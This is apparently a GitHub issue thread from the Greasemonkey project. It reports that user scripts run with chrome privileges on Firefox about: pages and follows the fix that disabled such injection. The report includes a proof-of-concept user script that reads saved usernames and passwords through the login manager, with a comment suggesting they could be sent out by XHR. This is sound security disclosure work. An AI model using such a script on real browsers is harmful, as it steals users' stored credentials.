User scripts should not have chrome privilege in about: pages #1375

LouCypher opened this Issue Jul 13, 2011 · 9 comments


None yet

6 participants


I found that user script run on these about pages has chrome previleges


I tried the snippet on worked with user script run on the above pages.

Steps to reproduce:

  1. Enable "greasemonkey.aboutIsGreaseable" in about:config (set it to true)
  2. Install this script
// ==UserScript==
// @name            Retrieving passwords via about: pages
// @namespace
// @include         about:*
// ==/UserScript==

var hostname = '';
var formSubmitURL = '';  // not
var httprealm = null;
var username, password;

try {
  var myLoginManager = Components.classes[";1"].
  var logins = myLoginManager.findLogins({}, hostname, formSubmitURL, httprealm);
  var info = "";
  for (var i = 0; i < logins.length; i++) {
    info += logins[i].username + "\n";
    info += logins[i].password + "\n\n";
  alert(info); // show usernames and passwords for
               // or send to via XHR (untested)
} catch(ex) {
  // This will only happen if there is no nsILoginManager component class

Expected result:
User script should not have chrome privileges and should not have access to XPCOMs

Actual result:
Display usernames and passwords (could be worse)

Martii commented Jul 14, 2011

Historical issue reference:


My initial guess is that it's just running with the principal of the page itself, which is chrome.

I'd be inclined to say that injecting into about: (besides blank) should be completely removed, rather than pref'ed like it is now. It's unsafe even without this bug.


I've spent over an hour on this, and been unable to come up with a fix (drop chrome privilege) that continues to allow the script to do anything (it just completely blocks access to the chrome-scope document).

Still thinking we should just drop this feature (injecting into about:s besides blank) altogether.

Martii commented Jul 22, 2011

Still thinking we should just drop this feature (injecting into about:s besides blank) altogether.

In regards to security I am +1 for this. Moz and other addons are starting to create about: entries of their own and I would really rather not see user.js become a security threat to other add-ons including the Moz core. We could never really handle all of them especially if GM isn't aware of them. about:blank had some issues last time I tested it to with document.write but that was a while ago.


I agree, it should be removed.

@arantius arantius added a commit that closed this issue Jul 25, 2011
@arantius arantius Never run scripts in about: (except blank).
Security related.  Fixes #1375
@arantius arantius closed this in 80c62e8 Jul 25, 2011
decembre commented Aug 5, 2014

It seems the fix need an update....

I see many Usesrcripts which work on addons-pages.

I post a request on greasyfork arround this problem:
How to exculde "about:addons" for a script?

Firefox 31.0
Windows 7

decembre commented Aug 7, 2014

In How to exculde "about:addons" for a script?
Jefferson Scher wrote:
" * If I open about:addons and the last category/list was anything except "Get Add-ons" then the monkey menu lists no scripts. If I switch to any category except "Get Add-ons" there still are no scripts enabled.

  • If I select "Get Add-ons" then the monkey menu will show scripts, and will continue to show scripts as I switch categories, until I close the page.

"Get Add-ons" loads an iframe with a page from and that is a permissible target for scripts. What is strange is that the monkey button continues to show scripts when you switch categories, but it could be that the iframe remains open in the page, just not displayed.

If you are getting interference within the iframe then you know the domain to exclude. If you are getting interference outside the iframe, hmm, that's strange. "

I wrote:
"Thanks :
that's good and i have same results than you.

I add:
// @exclude http_://

and the script don't work on the addons-page (it hang a moment the page).

But the persistence of the iframe is strange:
maybe greasemonkey need an update"


Dear @LouCypher and Everybody else;

is it safe to allow "about:neterror" in Greasemonkey? you didnt mention about:neterror in your post.
about:neterror Shows the error page used when the browser could not access the requested path. [1]
it may be very useful to write error handler userscript that runs on about:neterror if it doesnt have chrome previleges..
Could you please let us know if "about:neterror" has Chrome previleges or not?, if it doesnt, could you please allow "about:neterror" when explicitly included???

Best Regards,


tophf commented Jan 26, 2015

is it safe to allow "about:neterror" in Greasemonkey?

It'd be very nice to customize it like this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment